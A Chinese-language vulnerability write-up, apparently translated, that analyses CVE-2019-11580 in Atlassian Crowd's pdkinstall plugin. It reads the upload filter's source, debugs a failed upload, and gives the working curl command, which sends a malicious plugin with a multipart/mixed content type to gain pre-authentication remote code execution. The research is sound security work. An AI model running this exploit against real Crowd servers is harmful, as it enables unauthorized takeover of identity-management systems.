简介
Atlassian Crowd是Atlassian旗下的主要产品之一,Crowd是一个单点登录和用户身份管理工具,容易使用、管理方便并且可集成自己的插件进行扩展,另外在Crowd平台上能够管理全部应用程序的访问权限 – Atlassian、Subversion、Google应用、或者自己开发的应用程序。
从获取到的信息中得知,攻击目标使用的是Crowd较早的版本。通过Google检索相关信息看是否存在相关漏洞,从官方修复报告中发现,之前存在着pdkinstall开发插件错误启用导致远程代码执行的漏洞(CVE-2019-11580)
根据这一信息再进行搜索,没能找到关于该漏洞的相关POC,于是我决定进行分析之后,自己写一个POC出来。
分析
首先我们就找到pdkinstall-plugin,并将其克隆到本地机器
[email protected]:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin Cloning into 'pdkinstall-plugin'... remote: Counting objects: 210, done. remote: Compressing objects: 100% (115/115), done. remote: Total 210 (delta 88), reused 138 (delta 56) Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done. Resolving deltas: 100% (88/88), done.
从Atlassian开发者文档中了解到,插件都会有一份描述文件,于是果断在**./main/resources/atlassian-plugin.xml**找到了该插件的描述文件
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2"> <plugin-info> <version>${project.version}</version> <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/> </plugin-info> <servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration"> <url-pattern>/admin/uploadplugin.action</url-pattern> </servlet-filter> <servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter" location="before-decoration"> <url-pattern>/admin/plugins.action</url-pattern> </servlet-filter> <servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" /> <component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" /> </atlassian-plugin>
可以看到Java servlet class com.atlassian.pdkinstall.PdkInstallFilter被调用来访问**/admin/uploadplugin.action**。我们已经得知该漏洞可通过安装任意插件以达成远程代码执行,所以接下来应该去口口PdkInstallFilter servlet的源代码。
说干就干,将pdkinstall-plugin导入进IntelliJ以便更全面的阅读源代码,这里我们就从doFilter()方法入手。
阅读代码,如果这个地方请求的方式不是POST,代码将会退出并返回一个错误
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse res = (HttpServletResponse) servletResponse; if (!req.getMethod().equalsIgnoreCase("post")) { res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post"); return; }
接下来代码会继续判断POST请求中是否包含multipart数据,有关multipart的介绍可以看看《深入解析 multipart/form-data》。如果包含multipart就调用extractJar()方法,从发送请求包中提取jar。除此之外,代码会调用buildJarFromFiles()方法,尝试着依据请求中的数据构建一个插件jar文件。
// Check that we have a file upload request File tmp = null; boolean isMultipart = ServletFileUpload.isMultipartContent(req); if (isMultipart) { tmp = extractJar(req, res, tmp); } else { tmp = buildJarFromFiles(req); }
好了,从现在开始将目光聚集到extractJar()方法
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException { // Create a new file upload handler ServletFileUpload upload = new ServletFileUpload(factory); // Parse the request try { List<FileItem> items = upload.parseRequest(req); for (FileItem item : items) { if (item.getFieldName().startsWith("file_") && !item.isFormField()) { tmp = File.createTempFile("plugindev-", item.getName()); tmp.renameTo(new File(tmp.getParentFile(), item.getName())); item.write(tmp); } } } catch (FileUploadException e) { log.warn(e, e); res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload"); } catch (Exception e) { log.warn(e, e); res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload"); } return tmp; }
首先它会实例化一个新的ServletFileUpload对象,然后调用parseRequest()方法来解析HTTP请求。此方法被用来处理HTTP请求中的multipart / form-data数据流,并将FileItems作为列表传递给items变量。
对于FileItems列表中的每个item,如果字段名以file_开头且并非HTML表单字段(form field)需要上传的文件会被作为临时文件写入硬盘。如果这个过程失败,tmp变量则为null;如果成功tmp变量则包含成功写入文件的路径。接下来把关注点移回doFilter方法
if (tmp != null) { List<String> errors = new ArrayList<String>(); try { errors.addAll(pluginInstaller.install(tmp)); } catch (Exception ex) { log.error(ex); errors.add(ex.getMessage()); } tmp.delete(); if (errors.isEmpty()) { res.setStatus(HttpServletResponse.SC_OK); servletResponse.setContentType("text/plain"); servletResponse.getWriter().println("Installed plugin " + tmp.getPath()); } else { res.setStatus(HttpServletResponse.SC_BAD_REQUEST); servletResponse.setContentType("text/plain"); servletResponse.getWriter().println("Unable to install plugin:"); for (String err : errors) { servletResponse.getWriter().println("\t - " + err); } } servletResponse.getWriter().close(); return; } res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果成功执行extractJar(),变量tmp则不会被设定为null。应用会尝试执行pluginInstaller.install()方法来安装插件,并捕获该执行过程中发生多所有错误。如果该过程中没有发生任何错误,服务端响应代码为200 OK,那么就说明插件已成功安装。如果服务端返回400 Bad Request,并显示“Unable to install plugin”信息,那么安装就失败了。
另外,如果extractJar()方法初始化失败,tmp变量将会被设定为null,服务端响应码为400 Bad Request,并显示“Missing plugin file”
至此我们已搞清servlet后端,以及可能出现的各类请求,let’s try to exploit it!
失败的第一次
使用Atlassian SDK搭建一个实例,并保证可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action调用pdkinstall插件
不出意外的话,服务端会返回400 Bad Request
现在利用我们以及掌握的信息,尝试上传一个标准插件。我选择使用Atlassian自带插件applinks-plugin,你可以通过链接获取编译好的jar文件。
目前已知信息:servlet需要一个包含multipart数据,且multipart数据包含的文件前缀为file_的POST请求。完成这个步骤只需使用cURL’s –form就行
[email protected]:~# curl --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action -v
从返回结果得知,插件已成功安装。所以,我们可以开始制作并安装自己的插件包了?
我制作的这个恶意插件可以到GitHub查看
那么就编译,然后上传吧~
[email protected]:~# ./compile.sh [email protected]:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v
从响应信息中得知我们失败了。400 Bad Request,伴着“Missing plugin file”信息,我们得承认失败!
早先我们就已经知道返回“Missing plugin file”消息,代表着变量tmp的值为null。这个问题怎么造成的呢?老铁们,debugger走一波
调试
将pdkinstall-plugin导入进IntelliJ,同时打开用于处理上传操作的PdkInstallFilter.java的servlet接口,对Crowd实例进行调试。
彼时,我脑中第一个想法便是问题出在ServletFileUpload.isMultipartContent(req)方法,于是在该处设了一个断点。之后再次上传恶意插件,我们可以看到它正常工作,服务器将其作为multipart信息处理:
难道问题出在extractJar()?立马对该方法进行调试,并逐行设置断点以便找出问题的关键,设置完之后,再上传一次:
可以看到upload.parseRequest(req)方法返回一个空的数组,因为变量items为空,它就跳过了for循环并将结果返回给被设置为null的tmp变量
我花了很多时间来思考这个问题产生的原因,但始终没能找出问题根本原因,但现在咱们只需要关心RCE就好!
如果我将multipart/form-data改变为其他的multipart编码会发生什么呢?拭目以待
第二次尝试
这次我决定使用multipart/mixed方式来上传恶意插件,或许会有惊喜呢?
curl -k -H "Content-Type: multipart/mixed" \ --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action
从返回结果中确认我们已经成功了,这一刻应该伴有掌声!
在Web端调用恶意插件
至此,我们获得了一个Atlassian Crowd拥有预授权的远程代码执行
启介有话说
从信息收集到最后的成功获得RCE,其中少不了从漏洞赏金计划中获取的相关信息,但更为关键的是原作者不惧怕、敢于挑战新鲜事物的决心。
在此之前,他不懂Java,没有过调试经验,就靠自己一次次的尝试,最终获得成功!
Try new things, do your research, and struggle – it’s a huge part of the learning process!